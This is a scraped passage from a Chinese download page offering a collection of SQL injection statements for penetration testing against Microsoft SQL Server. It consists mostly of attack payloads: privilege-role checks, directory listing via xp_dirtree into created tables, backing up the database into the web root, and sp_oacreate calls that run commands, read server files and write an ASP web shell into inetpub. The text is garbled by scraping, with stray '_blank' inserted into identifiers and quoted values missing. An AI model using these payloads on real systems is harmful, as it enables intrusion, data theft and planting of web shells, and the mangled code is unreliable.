滲透常用sql注入語(yǔ)句大全-資料下載頁(yè)
2025-08-04 03:27本頁(yè)面
【正文】 VROLEMEMBER(securityadmin))。–語(yǔ)句6：and 1=(Select IS_blank_SRVROLEMEMBER(diskadmin))。–語(yǔ)句7：and 1=(Select IS_blank_SRVROLEMEMBER(bulkadmin))。–語(yǔ)句8：and 1=(Select IS_blank_SRVROLEMEMBER(bulkadmin))。–語(yǔ)句9：and 1=(Select IS_blank_MEMBER(db_blank_owner))。–把路徑寫到表中去：?1234567。create table dirs(paths varchar(100), id int)–。insert dirs exec _dirtree c:\–and 0(select top 1 paths from dirs)–and 0(select top 1 paths from dirs where paths not in(@Inetpub))–。create table dirs1(paths varchar(100), id int)–。insert dirs exec _dirtree e:\web–and 0(select top 1 paths from dirs1)–把_blank數(shù)據(jù)庫(kù)備份到網(wǎng)頁(yè)目錄：下載?123456789101112131415161718192021222324252627282930313233343536373839404142。declare @a sysname。 set @a=db_blank_name()。backup database @a to disk=e:\web\。–and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)and 1=(Select Top 1 col_blank_name(object_blank_id(USER_blank_LOGIN),1) from sysobjects) 參看相關(guān)表。and 1=(select user_blank_id from USER_blank_LOGIN)and 0=(select user from USER_blank_LOGIN where user1)= example =declare @o intexec sp_blank_oacreate , @o outexec sp_blank_oamethod @o, run, NULL, 。 declare @o int exec sp_blank_oacreate , @o out exec sp_blank_oamethod @o, run, NULL, –declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_blank_oacreate , @o outexec sp_blank_oamethod @o, opentextfile, @f out, c:\, 1exec @ret = sp_blank_oamethod @f, readline, @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_blank_oamethod @f, readline, @line outenddeclare @o int, @f int, @t int, @ret intexec sp_blank_oacreate , @o outexec sp_blank_oamethod @o, createtextfile, @f out, c:\inetpub\root\, 1exec @ret = sp_blank_oamethod @f, writeline, NULL,% set o = (“”): ( (“cmd”) ) %declare @o int, @ret intexec sp_blank_oacreate , @o outexec sp_blank_oamethod @o, register, NULL, foo, barexec sp_blank_oasetproperty @o, speed, 150exec sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528waitfor delay 00:00:05 declare @o int, @ret int exec sp_blank_oacreate , @o out exec sp_blank_oamethod @o, register, NULL, foo, bar exec sp_blank_oasetproperty @o, speed, 150 exec sp_blank_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–xp_blank_dirtree適用權(quán)限PUBLICexec _dirtree c:返回的信息有兩個(gè)字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。create table dirs(paths varchar(100), id int)建表，這里建的表是和上面 xp_blank_dirtree相關(guān)連，字段相等、類型相同。insert dirs exec _dirtree c:只要我們建表與存儲(chǔ)進(jìn)程返回的字段相定義相等就能夠執(zhí)行！達(dá)到寫表的效果,一步步達(dá)到我們想要的信息！
環(huán)評(píng)公示相關(guān)推薦
鄂ICP備17016276號(hào)-1